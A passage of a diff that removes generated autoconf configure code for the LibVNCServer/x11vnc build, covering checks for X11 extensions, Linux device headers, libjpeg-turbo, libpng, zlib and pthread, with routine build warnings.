- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XRRSelectInput in -lXrandr" >&5
-$as_echo_n "checking for XRRSelectInput in -lXrandr... " >&6; }
-if ${ac_cv_lib_Xrandr_XRRSelectInput+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXrandr $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XRRSelectInput ();
-int
-main ()
-{
-return XRRSelectInput ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xrandr_XRRSelectInput=yes
-else
- ac_cv_lib_Xrandr_XRRSelectInput=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xrandr_XRRSelectInput" >&5
-$as_echo "$ac_cv_lib_Xrandr_XRRSelectInput" >&6; }
-if test "x$ac_cv_lib_Xrandr_XRRSelectInput" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXrandr"
- $as_echo "#define HAVE_LIBXRANDR 1" >>confdefs.h
- HAVE_LIBXRANDR="true"
-fi
-
- fi
-
- if test "x$with_xfixes" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XFixesGetCursorImage in -lXfixes" >&5
-$as_echo_n "checking for XFixesGetCursorImage in -lXfixes... " >&6; }
-if ${ac_cv_lib_Xfixes_XFixesGetCursorImage+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXfixes $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XFixesGetCursorImage ();
-int
-main ()
-{
-return XFixesGetCursorImage ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xfixes_XFixesGetCursorImage=yes
-else
- ac_cv_lib_Xfixes_XFixesGetCursorImage=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xfixes_XFixesGetCursorImage" >&5
-$as_echo "$ac_cv_lib_Xfixes_XFixesGetCursorImage" >&6; }
-if test "x$ac_cv_lib_Xfixes_XFixesGetCursorImage" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXfixes"
- $as_echo "#define HAVE_LIBXFIXES 1" >>confdefs.h
- HAVE_LIBXFIXES="true"
-fi
-
- fi
-
- if test "x$with_xdamage" != "xno"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for XDamageQueryExtension in -lXdamage" >&5
-$as_echo_n "checking for XDamageQueryExtension in -lXdamage... " >&6; }
-if ${ac_cv_lib_Xdamage_XDamageQueryExtension+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lXdamage $X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char XDamageQueryExtension ();
-int
-main ()
-{
-return XDamageQueryExtension ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_Xdamage_XDamageQueryExtension=yes
-else
- ac_cv_lib_Xdamage_XDamageQueryExtension=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_Xdamage_XDamageQueryExtension" >&5
-$as_echo "$ac_cv_lib_Xdamage_XDamageQueryExtension" >&6; }
-if test "x$ac_cv_lib_Xdamage_XDamageQueryExtension" = xyes; then :
- X_PRELIBS="$X_PRELIBS -lXdamage"
- $as_echo "#define HAVE_LIBXDAMAGE 1" >>confdefs.h
- HAVE_LIBXDAMAGE="true"
-fi
-
- fi
-
- if test ! -z "$HAVE_LIBXFIXES" -o ! -z "$HAVE_LIBXDAMAGE"; then
- # need /usr/sfw/lib in RPATH for Solaris 10 and later
- case `(uname -sr) 2>/dev/null` in
- "SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS -R/usr/sfw/lib" ;;
- esac
- fi
- if test ! -z "$HAVE_LIBXRANDR"; then
- # also need /usr/X11/include for Solaris 10 10/08 and later
- case `(uname -sr) 2>/dev/null` in
- "SunOS 5"*) CPPFLAGS="$CPPFLAGS -I/usr/X11/include" ;;
- esac
- fi
-
- X_LIBS="$X_LIBS $X_PRELIBS -lX11 $X_EXTRA_LIBS"
- fi
- # end x11vnc only.
-fi
-
-
- if test $HAVE_X11 != "false"; then
- HAVE_X11_TRUE=
- HAVE_X11_FALSE='#'
-else
- HAVE_X11_TRUE='#'
- HAVE_X11_FALSE=
-fi
-
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
-
-if test "x$HAVE_X11" = "xfalse" -a "x$with_x" != "xno"; then
- as_fn_error $? "
-==========================================================================
-*** A working X window system build environment is required to build ***
-x11vnc. Make sure any required X development packages are installed.
-If they are installed in non-standard locations, one can use the
---x-includes=DIR and --x-libraries=DIR configure options or set the
-CPPFLAGS and LDFLAGS environment variables to indicate where the X
-window system header files and libraries may be found. On 64+32 bit
-machines you may need to point to lib64 or lib32 directories to pick up
-the correct word size.
-
-If you want to build x11vnc without X support (e.g. for -rawfb use only
-or for native Mac OS X), specify the --without-x configure option.
-==========================================================================
-" "$LINENO" 5
-fi
-
-if test "x$HAVE_X11" = "xtrue" -a "x$HAVE_XTEST" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** A working build environment for the XTEST extension was not found ***
-(libXtst). An x11vnc built this way will be *ONLY BARELY USABLE*.
-You will be able to move the mouse but not click or type. There can
-also be deadlocks if an application grabs the X server.
-
-It is recommended that you install the necessary development packages
-for XTEST (perhaps it is named something like libxtst-dev) and run
-configure again.
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** A working build environment for the XTEST extension was not found ***
-(libXtst). An x11vnc built this way will be *ONLY BARELY USABLE*.
-You will be able to move the mouse but not click or type. There can
-also be deadlocks if an application grabs the X server.
-
-It is recommended that you install the necessary development packages
-for XTEST (perhaps it is named something like libxtst-dev) and run
-configure again.
-==========================================================================
-" >&2;}
- sleep 5
-fi
-
-if test "x$with_v4l" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "linux/videodev.h" "ac_cv_header_linux_videodev_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_videodev_h" = xyes; then :
- $as_echo "#define HAVE_LINUX_VIDEODEV_H 1" >>confdefs.h
-
-fi
-
-
-fi
-if test "x$with_fbdev" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "linux/fb.h" "ac_cv_header_linux_fb_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_fb_h" = xyes; then :
- $as_echo "#define HAVE_LINUX_FB_H 1" >>confdefs.h
-
-fi
-
-
-fi
-if test "x$with_uinput" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "linux/input.h" "ac_cv_header_linux_input_h" "$ac_includes_default"
-if test "x$ac_cv_header_linux_input_h" = xyes; then :
- $as_echo "#define HAVE_LINUX_INPUT_H 1" >>confdefs.h
- HAVE_LINUX_INPUT_H="true"
-fi
-
-
- if test "x$HAVE_LINUX_INPUT_H" = "xtrue"; then
- ac_fn_c_check_header_compile "$LINENO" "linux/uinput.h" "ac_cv_header_linux_uinput_h" "#include <linux/input.h>
-"
-if test "x$ac_cv_header_linux_uinput_h" = xyes; then :
- $as_echo "#define HAVE_LINUX_UINPUT_H 1" >>confdefs.h
-
-fi
-
-
- fi
-fi
-
-if test "x$with_macosx_native" != "xno"; then
- $as_echo "#define HAVE_MACOSX_NATIVE_DISPLAY 1" >>confdefs.h
-
-fi
-
-# Check for OS X opengl header
-ac_fn_c_check_header_mongrel "$LINENO" "OpenGL/OpenGL.h" "ac_cv_header_OpenGL_OpenGL_h" "$ac_includes_default"
-if test "x$ac_cv_header_OpenGL_OpenGL_h" = xyes; then :
- $as_echo "#define HAVE_MACOSX_OPENGL_H 1" >>confdefs.h
- HAVE_MACOSX_OPENGL_H="true"
-fi
-
-
-
-
-
-# Check whether --with-avahi was given.
-if test "${with_avahi+set}" = set; then :
- withval=$with_avahi;
-fi
-
-if test "x$with_avahi" != "xno"; then
- printf "checking for avahi... "
- if test ! -z "$with_avahi" -a "x$with_avahi" != "xyes"; then
- AVAHI_CFLAGS="-I$with_avahi/include"
- AVAHI_LIBS="-L$with_avahi/lib -lavahi-common -lavahi-client"
- echo "using $with_avahi"
- with_avahi=yes
- elif pkg-config --atleast-version=0.6.4 avahi-client >/dev/null 2>&1; then
- AVAHI_CFLAGS=`pkg-config --cflags avahi-client`
- AVAHI_LIBS=`pkg-config --libs avahi-client`
- with_avahi=yes
- echo yes
- else
- with_avahi=no
- echo no
- fi
-fi
-if test "x$with_avahi" = "xyes"; then
- $as_echo "#define HAVE_AVAHI 1" >>confdefs.h
-
-
-
-fi
-
-fi
-# end x11vnc only.
-
-# only used in x11vnc/Makefile.am but needs to always be defined:
- if test "$HAVE_MACOSX_OPENGL_H" = "true"; then
- OSX_OPENGL_TRUE=
- OSX_OPENGL_FALSE='#'
-else
- OSX_OPENGL_TRUE='#'
- OSX_OPENGL_FALSE=
-fi
-
-
-# Checks for libraries.
-
-if test ! -z "$with_system_libvncserver" -a "x$with_system_libvncserver" != "xno"; then
- printf "checking for system libvncserver... "
- vneed="0.9.1"
- if test "X$VNEED" != "X"; then
- vneed=$VNEED
- fi
- if test "x$with_system_libvncserver" != "xyes"; then
- rflag=""
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- rflag="-Xlinker -R$with_system_libvncserver/lib"
- else
- rflag="-R$with_system_libvncserver/lib"
- fi
- cmd="$with_system_libvncserver/bin/libvncserver-config"
- if $cmd --version 1>/dev/null 2>&1; then
- cvers=`$cmd --version 2>/dev/null`
- cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
- nscore=`echo "$vneed" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
-
- if test $cscore -lt $nscore; then
- echo "no"
- with_system_libvncserver=no
- as_fn_error $? "
-==========================================================================
-*** Need libvncserver version $vneed, have version $cvers ***
-You are building with a system installed libvncserver and it is not
-new enough.
-==========================================================================
-" "$LINENO" 5
- else
- SYSTEM_LIBVNCSERVER_CFLAGS="-I$with_system_libvncserver/include"
- SYSTEM_LIBVNCSERVER_LIBS="-L$with_system_libvncserver/lib $rflag -lvncserver -lvncclient"
- echo "using $with_system_libvncserver"
- with_system_libvncserver=yes
- fi
- else
- echo " *** cannot run $cmd *** " 1>&2
- with_system_libvncserver=no
- echo no
- fi
- elif libvncserver-config --version 1>/dev/null 2>&1; then
- rflag=""
- rprefix=`libvncserver-config --prefix`
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- rflag=" -Xlinker -R$rprefix/lib "
- else
- rflag=" -R$rprefix/lib "
- fi
- cvers=`libvncserver-config --version 2>/dev/null`
- cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
- nscore=`echo "$vneed" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
-
- if test $cscore -lt $nscore; then
- echo "no"
- as_fn_error $? "
-==========================================================================
-*** Need libvncserver version $vneed, have version $cvers ***
-You are building with a system installed libvncserver and it is not
-new enough.
-==========================================================================
-" "$LINENO" 5
- else
- SYSTEM_LIBVNCSERVER_CFLAGS=`libvncserver-config --cflags`
- SYSTEM_LIBVNCSERVER_LIBS="$rflag"`libvncserver-config --libs`
- with_system_libvncserver=yes
- echo yes
- fi
- else
- with_system_libvncserver=no
- echo no
- fi
-fi
-
-if test "x$with_system_libvncserver" = "xyes"; then
- $as_echo "#define HAVE_SYSTEM_LIBVNCSERVER 1" >>confdefs.h
-
-
-
-fi
- if test "x$with_system_libvncserver" = "xyes"; then
- HAVE_SYSTEM_LIBVNCSERVER_TRUE=
- HAVE_SYSTEM_LIBVNCSERVER_FALSE='#'
-else
- HAVE_SYSTEM_LIBVNCSERVER_TRUE='#'
- HAVE_SYSTEM_LIBVNCSERVER_FALSE=
-fi
-
-
-
-
-# Check whether --with-jpeg was given.
-if test "${with_jpeg+set}" = set; then :
- withval=$with_jpeg;
-fi
-
-
-# At this point:
-# no jpeg on command line with_jpeg=""
-# -with-jpeg with_jpeg="yes"
-# -without-jpeg with_jpeg="no"
-# -with-jpeg=/foo/dir with_jpeg="/foo/dir"
-
-HAVE_LIBJPEG_TURBO="false"
-
-if test "x$with_jpeg" != "xno"; then
-
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- saved_LIBS="$LIBS"
- if test ! -z "$with_jpeg" -a "x$with_jpeg" != "xyes"; then
- # add user supplied directory to flags:
- CPPFLAGS="$CPPFLAGS -I$with_jpeg/include"
- LDFLAGS="$LDFLAGS -L$with_jpeg/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- # this is not complete... in general a rat's nest.
- LDFLAGS="$LDFLAGS -Xlinker -R$with_jpeg/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_jpeg/lib"
- fi
- fi
- if test "x$JPEG_LDFLAGS" != "x"; then
- LDFLAGS="$saved_LDFLAGS"
- LIBS="$LIBS $JPEG_LDFLAGS"
- else
- LIBS="-ljpeg"
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "jpeglib.h" "ac_cv_header_jpeglib_h" "$ac_includes_default"
-if test "x$ac_cv_header_jpeglib_h" = xyes; then :
- HAVE_JPEGLIB_H="true"
-fi
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for jpeg_CreateCompress in libjpeg" >&5
-$as_echo_n "checking for jpeg_CreateCompress in libjpeg... " >&6; }
- if test "x$HAVE_JPEGLIB_H" = "xtrue"; then
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char jpeg_CreateCompress ();
-int
-main ()
-{
-return jpeg_CreateCompress ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; };
-
-$as_echo "#define HAVE_LIBJPEG 1" >>confdefs.h
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }; HAVE_JPEGLIB_H=""
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- fi
- if test "x$HAVE_JPEGLIB_H" != "xtrue"; then
- # restore old flags on failure:
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- LIBS="$saved_LIBS"
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libjpeg compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libjpeg is in a non-standard location use --with-jpeg=DIR to
-indicate the header file is in DIR/include/jpeglib.h and the library
-in DIR/lib/libjpeg.a. You can also set the JPEG_LDFLAGS variable to
-specify more detailed linker flags. A copy of libjpeg-turbo may be
-obtained from: https://sourceforge.net/projects/libjpeg-turbo/files/
-A copy of libjpeg may be obtained from: http://ijg.org/files/
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libjpeg compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libjpeg is in a non-standard location use --with-jpeg=DIR to
-indicate the header file is in DIR/include/jpeglib.h and the library
-in DIR/lib/libjpeg.a. You can also set the JPEG_LDFLAGS variable to
-specify more detailed linker flags. A copy of libjpeg-turbo may be
-obtained from: https://sourceforge.net/projects/libjpeg-turbo/files/
-A copy of libjpeg may be obtained from: http://ijg.org/files/
-==========================================================================
-" >&2;}
- sleep 5
- fi
-
- if test "x$HAVE_JPEGLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether JPEG library is libjpeg-turbo" >&5
-$as_echo_n "checking whether JPEG library is libjpeg-turbo... " >&6; }
-
- if test "x$cross_compiling" != "xyes"; then
- if test "$cross_compiling" = yes; then :
- { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
-$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
-as_fn_error $? "cannot run test program while cross compiling
-See \`config.log' for more details" "$LINENO" 5; }
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdio.h>
- #include <jpeglib.h>
-int
-main ()
-{
-struct jpeg_compress_struct cinfo;
- struct jpeg_error_mgr jerr;
- cinfo.err=jpeg_std_error(&jerr);
- jpeg_create_compress(&cinfo);
- cinfo.input_components = 3;
- jpeg_set_defaults(&cinfo);
- cinfo.in_color_space = JCS_EXT_RGB;
- jpeg_default_colorspace(&cinfo);
- return 0;
- ;
- return 0;
-}
-
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- HAVE_LIBJPEG_TURBO="true"; { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
- else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdio.h>
- #include <jpeglib.h>
-int
-main ()
-{
-struct jpeg_compress_struct cinfo;
- struct jpeg_error_mgr jerr;
- cinfo.err=jpeg_std_error(&jerr);
- jpeg_create_compress(&cinfo);
- cinfo.input_components = 3;
- jpeg_set_defaults(&cinfo);
- cinfo.in_color_space = JCS_EXT_RGB;
- jpeg_default_colorspace(&cinfo);
- return 0;
- ;
- return 0;
-}
-
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- HAVE_LIBJPEG_TURBO="true"; { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
- fi
- fi
-
- if test "x$HAVE_JPEGLIB_H" = "xtrue" -a "x$HAVE_LIBJPEG_TURBO" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libjpeg library you are building against is not libjpeg-turbo.
-Performance will be reduced. You can obtain libjpeg-turbo from:
-https://sourceforge.net/projects/libjpeg-turbo/files/ ***
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libjpeg library you are building against is not libjpeg-turbo.
-Performance will be reduced. You can obtain libjpeg-turbo from:
-https://sourceforge.net/projects/libjpeg-turbo/files/ ***
-==========================================================================
-" >&2;}
- fi
-
-fi
-
-
-# Check whether --with-png was given.
-if test "${with_png+set}" = set; then :
- withval=$with_png;
-fi
-
-
-# At this point:
-# no png on command line with_png=""
-# -with-png with_png="yes"
-# -without-png with_png="no"
-# -with-png=/foo/dir with_png="/foo/dir"
-
-if test "x$with_png" != "xno"; then
- if test ! -z "$with_png" -a "x$with_png" != "xyes"; then
- # add user supplied directory to flags:
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- CPPFLAGS="$CPPFLAGS -I$with_png/include"
- LDFLAGS="$LDFLAGS -L$with_png/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- # this is not complete... in general a rat's nest.
- LDFLAGS="$LDFLAGS -Xlinker -R$with_png/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_png/lib"
- fi
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "png.h" "ac_cv_header_png_h" "$ac_includes_default"
-if test "x$ac_cv_header_png_h" = xyes; then :
- HAVE_PNGLIB_H="true"
-fi
-
-
- if test "x$HAVE_PNGLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for png_create_write_struct in -lpng" >&5
-$as_echo_n "checking for png_create_write_struct in -lpng... " >&6; }
-if ${ac_cv_lib_png_png_create_write_struct+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpng $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char png_create_write_struct ();
-int
-main ()
-{
-return png_create_write_struct ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_png_png_create_write_struct=yes
-else
- ac_cv_lib_png_png_create_write_struct=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_png_png_create_write_struct" >&5
-$as_echo "$ac_cv_lib_png_png_create_write_struct" >&6; }
-if test "x$ac_cv_lib_png_png_create_write_struct" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-#define HAVE_LIBPNG 1
-_ACEOF
-
- LIBS="-lpng $LIBS"
-
-else
- HAVE_PNGLIB_H=""
-fi
-
- fi
- if test ! -z "$with_png" -a "x$with_png" != "xyes"; then
- if test "x$HAVE_PNGLIB_H" != "xtrue"; then
- # restore old flags on failure:
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- fi
- fi
- if test "$build_x11vnc" = "yes"; then
- if test "x$HAVE_PNGLIB_H" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libpng compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libpng is in a non-standard location use --with-png=DIR to
-indicate the header file is in DIR/include/png.h and the library
-in DIR/lib/libpng.a. A copy of libpng may be obtained from:
-http://www.libpng.org/pub/png/libpng.html
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libpng compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libpng is in a non-standard location use --with-png=DIR to
-indicate the header file is in DIR/include/png.h and the library
-in DIR/lib/libpng.a. A copy of libpng may be obtained from:
-http://www.libpng.org/pub/png/libpng.html
-==========================================================================
-" >&2;}
- sleep 5
- fi
- fi
-fi
-
-
-# Check whether --with-libz was given.
-if test "${with_libz+set}" = set; then :
- withval=$with_libz;
-fi
-
-
-# Check whether --with-zlib was given.
-if test "${with_zlib+set}" = set; then :
- withval=$with_zlib;
-fi
-
-
-if test "x$with_zlib" != "xno" -a "x$with_libz" != "xno"; then
- if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then
- saved_CPPFLAGS="$CPPFLAGS"
- saved_LDFLAGS="$LDFLAGS"
- CPPFLAGS="$CPPFLAGS -I$with_zlib/include"
- LDFLAGS="$LDFLAGS -L$with_zlib/lib"
- if test "x$ld_minus_R" = "xno"; then
- :
- elif test "x$GCC" = "xyes"; then
- LDFLAGS="$LDFLAGS -Xlinker -R$with_zlib/lib"
- else
- LDFLAGS="$LDFLAGS -R$with_zlib/lib"
- fi
- fi
- ac_fn_c_check_header_mongrel "$LINENO" "zlib.h" "ac_cv_header_zlib_h" "$ac_includes_default"
-if test "x$ac_cv_header_zlib_h" = xyes; then :
- HAVE_ZLIB_H="true"
-fi
-
-
- if test "x$HAVE_ZLIB_H" = "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for deflate in -lz" >&5
-$as_echo_n "checking for deflate in -lz... " >&6; }
-if ${ac_cv_lib_z_deflate+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lz $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char deflate ();
-int
-main ()
-{
-return deflate ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_z_deflate=yes
-else
- ac_cv_lib_z_deflate=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_z_deflate" >&5
-$as_echo "$ac_cv_lib_z_deflate" >&6; }
-if test "x$ac_cv_lib_z_deflate" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-#define HAVE_LIBZ 1
-_ACEOF
-
- LIBS="-lz $LIBS"
-
-else
- HAVE_ZLIB_H=""
-fi
-
- fi
- if test ! -z "$with_zlib" -a "x$with_zlib" != "xyes"; then
- if test "x$HAVE_ZLIB_H" != "xtrue"; then
- CPPFLAGS="$saved_CPPFLAGS"
- LDFLAGS="$saved_LDFLAGS"
- fi
- fi
- if test "$build_x11vnc" = "yes"; then
- if test "x$HAVE_ZLIB_H" != "xtrue"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** The libz compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libz is in a non-standard location use --with-zlib=DIR to indicate the
-header file is in DIR/include/zlib.h and the library in DIR/lib/libz.a.
-A copy of libz may be obtained from: http://www.gzip.org/zlib/
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** The libz compression library was not found. ***
-This may lead to reduced performance, especially over slow links.
-If libz is in a non-standard location use --with-zlib=DIR to indicate the
-header file is in DIR/include/zlib.h and the library in DIR/lib/libz.a.
-A copy of libz may be obtained from: http://www.gzip.org/zlib/
-==========================================================================
-" >&2;}
- sleep 5
- fi
- fi
-fi
-
-
-# Check whether --with-pthread was given.
-if test "${with_pthread+set}" = set; then :
- withval=$with_pthread;
-fi
-
-
-if test "x$with_pthread" != "xno"; then
- ac_fn_c_check_header_mongrel "$LINENO" "pthread.h" "ac_cv_header_pthread_h" "$ac_includes_default"
-if test "x$ac_cv_header_pthread_h" = xyes; then :
- HAVE_PTHREAD_H="true"
-fi
-
-
- if test ! -z "$HAVE_PTHREAD_H"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_mutex_lock in -lpthread" >&5
-$as_echo_n "checking for pthread_mutex_lock in -lpthread... " >&6; }
-if ${ac_cv_lib_pthread_pthread_mutex_lock+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lpthread $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char pthread_mutex_lock ();
-int
-main ()
-{
-return pthread_mutex_lock ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_pthread_pthread_mutex_lock=yes
-else
- ac_cv_lib_pthread_pthread_mutex_lock=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_mutex_lock" >&5
-$as_echo "$ac_cv_lib_pthread_pthread_mutex_lock" >&6; }
-if test "x$ac_cv_lib_pthread_pthread_mutex_lock" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-#define HAVE_LIBPTHREAD 1
-_ACEOF
-
- LIBS="-lpthread $LIBS"
-
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_mutex_lock in -lpthread" >&5
-$as_echo_n "checking for pthread_mutex_lock in -lpthread... " >&6; }
-if ${ac_cv_lib_pthread_pthread_mutex_lock+:} false; then :
- $as_echo_n "(cached) " >&6
-else
